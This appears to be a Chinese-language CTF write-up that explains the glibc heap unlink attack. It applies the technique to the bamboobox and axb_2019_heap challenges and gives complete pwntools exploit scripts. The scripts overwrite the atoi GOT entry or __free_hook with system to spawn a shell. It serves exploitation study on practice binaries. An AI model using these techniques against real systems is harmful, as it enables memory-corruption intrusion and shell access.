UNLINK 攻击
我们伪造一个fake chunk,修改其fd为p-0x18(p储存堆块指针的地址,一般为bss段),修改bk为p-0x10,绕过保护,在形成双链表的过程中,修改了p->p-0x18导致我们可以修改p->任意地址,进行一次任意地址写,可以修改free为system。
伪造形式
伪造堆块的后一堆块的size低位要为0,这样会认为我们伪造的堆块是释放的,才能往前合并。
首先我们要绕过保护
B->bk!=chunk0||A->fd!=chunk0
//此时我们的A=p-0x10 fd=A+0x10 fd=p (这个fd是A的fd)
//此时我们的B=p-0x18 bk=B+0x18 bk=p (这个bk是B的bk)
//对应了下面的步骤
chunk0->fd=p-0x18//这里的p-0x18是我们自己构造的
chunk0->bk=p-0x10//同理
B->bk=*(p-0x18+0x18)=*p=chunk0//证明了s=p
A->fd=*(p+0x10+0x10)=*p=chunk0
//此时*p等于chunk0的话便可以绕过保护
这里我要提出一个问题了
为什么我们要伪造堆块而不用原堆块呢?
你要想一下我们绕过保护的要求是什么,最终我们回到的地方是chunk0,而最开始我们指向的是原堆块的数据区,我们是无法指到头部的,而我们构造的正好是可以指向头部的
//
//在使AB构成双链表
B->bk=A
A->fd=B
//此时A=p-0x10 B=p-0x18
//最终p会指向p-0x18的位置
们在读入的时候就会往从p-0x18的位置开始读入,最后覆盖掉读入位置,在进行读入就从*p进行读入,相当于一次任意地址写
例如我们覆盖到读入位置为atoi函数的got表,
我们下次就会对这里进行修改
然后读入的内容从
这里读入
那么我们就可以覆盖got表了
例题
bamboobox
首先查看保护
64位开启了canary和nx保护
查看ida
菜单题
show函数内,我们查看一下打印的位置bss1在哪里,这里是我们随后创造第一个堆块的索引位置(重点关注)
查看add函数,创造指定大小堆块,将堆块索引位置放到itemlist的位置,这里我们就知道堆块地址在这个bss段放置了,而且前面的show也是打印itemlist+8的位置
且add里的read函数也是往itemlist+8的位置读入,也就是对堆块读入内容
在change函数中存存在自己规定大小的堆溢出,可以用于修改后面堆块的pre_size(前一个堆块的大小)size自己堆块的大小(主要改成地位为0,将前一个堆块标记为释放状态)
free释放函数
思路:
1.部署堆块(fk=itemlist-0x18,bk=itemlist-0x10),并设置后一个堆块标识位(size低位为0)
2.然后释放后itemlist+8的位置会指向fk的位置,这时候覆盖到itemlist+8,即可任意读写(覆盖为atoi_got)
3.然后show打印出atoi的got表地址,根据偏移可以找到system
4.这时候读入取覆盖安atoi的got表为stystem即可
部署的堆块
target = 0x6020c8
fd = target - 0x18
bk = target - 0x10
payload = p64(0)+p64(0x81)+p64(fd)+p64(bk)+b'a'*0x60+p64(0x80)+p64(0x90)
change(0,payload)
然后释放,itemlist+8指向了itemlist-0x18的位置,此时我们读入就从itemlist-0x18读入,可以覆盖到itemlist+8,即可任意读写
我们读入地址覆盖itemlist+8为atoi
先打印获得libc地址,找到system地址
修改atoigot表为system
这时候就成功了
最终的exp
from tools import *
p = process('./bam')
#p=remote("node3.buuoj.cn",27073)
context.log_level = 'debug'
elf = ELF("./bam")
#libc = ELF("./buu/libc64/libc-2.30.so")
libc=ELF("./libc-2.23.so")
atoi_got = elf.got['atoi']
def show():
p.recvuntil("Your choice:")
p.sendline(str(1))
def alloc(size,content):
p.recvuntil("Your choice:")
p.sendline(str(2))
p.recvuntil("length of item name:")
p.sendline(str(size))
p.recvuntil("name of item:")
p.sendline(content)
def change(idx,content):
p.recvuntil("Your choice:")
p.sendline(str(3))
p.recvuntil("index of item:")
p.sendline(str(idx))
p.recvuntil("length of item name:")
p.sendline(str(len(content)))
p.recvuntil("new name of the item:")
p.sendline(content)
def free(idx):
p.recvuntil("Your choice:")
p.sendline(str(4))
p.recvuntil("index of item:")
p.sendline(str(idx))
alloc(0x80,"aaaa")
alloc(0x80,"bbbb")
alloc(0x80,"cccc")
target = 0x6020c8
fd = target - 0x18
bk = target - 0x10
payload = p64(0)+p64(0x81)+p64(fd)+p64(bk)+b'a'*0x60+p64(0x80)+p64(0x90)
change(0,payload)
debug(p)
free(1)
atoi_got=elf.got["atoi"]
payload1=p64(0)*3+p64(atoi_got)
change(0,payload1)
show()
stack=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
log_addr("stack")
libc_addr=stack-libc.sym['atoi']
log_addr("libc_addr")
system=libc_addr+libc.sym['system']
log_addr("system")
change(0,p64(system)*3)
p.sendlineafter("choice:",b'/bin/sh\x00')
p.interactive()
axb_2019_heap
首先查看保护
保护全开
查看ida
菜单题
banner函数,存在格式化字符串漏洞,进行泄露程序地址和libc地址
查看add函数
delete噶不是故意,释放堆块并清空内容不存在uaf漏洞
看exit函数
思路:
1.首先泄露程序地址和libc基地址
2.如何构造堆块,并覆盖后一个堆块的pre_size和size位(size低位为0)
3.释放使note指向note-0x18的位置,如何进行读入进行覆盖为free_hook为system
(因为这题开了RELRO不能覆盖got表)
最终的exp
from tools import *
p,e,libc=load("axb","node5.buuoj.cn:26141","./libc64/libc-2.23.so")
context(log_level='debug')
p.sendlineafter("name: ",b'%11$p--%15$p')
p.recvuntil(b"Hello, ")
stack1=int(p.recv(14),16)
log_addr("stack1")
p.recvuntil("--")
stack2=int(p.recv(14),16)
log_addr("stack2")
text_addr=stack1-0x1186
log_addr("text_addr")
libc_addr=stack2-libc.sym["__libc_start_main"]-0xf0
log_addr("libc_addr")
free_got=libc_addr+libc.sym['free']
log_addr("free_got")
free_plt=text_addr+0x8a0
log_addr("free_plt")
system=libc_addr+libc.sym["system"]
log_addr("system")
free1=libc_addr+libc.sym['__free_hook']
log_addr("free1")
def add(id,size,content):
p.sendlineafter("option:",'1')
p.sendlineafter("(0-10):",str(id))
p.sendlineafter("size:",str(size))
p.sendlineafter("content: ",content)
def dele(id):
p.sendlineafter("option:",'2')
p.sendlineafter("index:",str(id))
def show():
p.sendlineafter("option:",'3')
def exit(id,content):
p.sendlineafter("option:",'4')
p.sendlineafter("index:",str(id))
p.sendlineafter("content: ",content)
target=0x0202060+text_addr
fd=target-0x18
bk=target-0x10
add(0,0x98,"aaaa")
add(1,0x98,"bbbb")
add(2,0x98,b"/bin/sh\x00")
log_addr("target")
log_addr("fd")
log_addr("bk")
payload=p64(0)+p64(0x90)+p64(fd)+p64(bk)+b'a'*0x70+p64(0x90)+p64(0xa0)
exit(0,payload)
dele(1)
debug(p)
exit(0,p64(0)*3+p64(free1)+p64(0x8))
exit(0,p64(system))
dele(2)
p.interactive()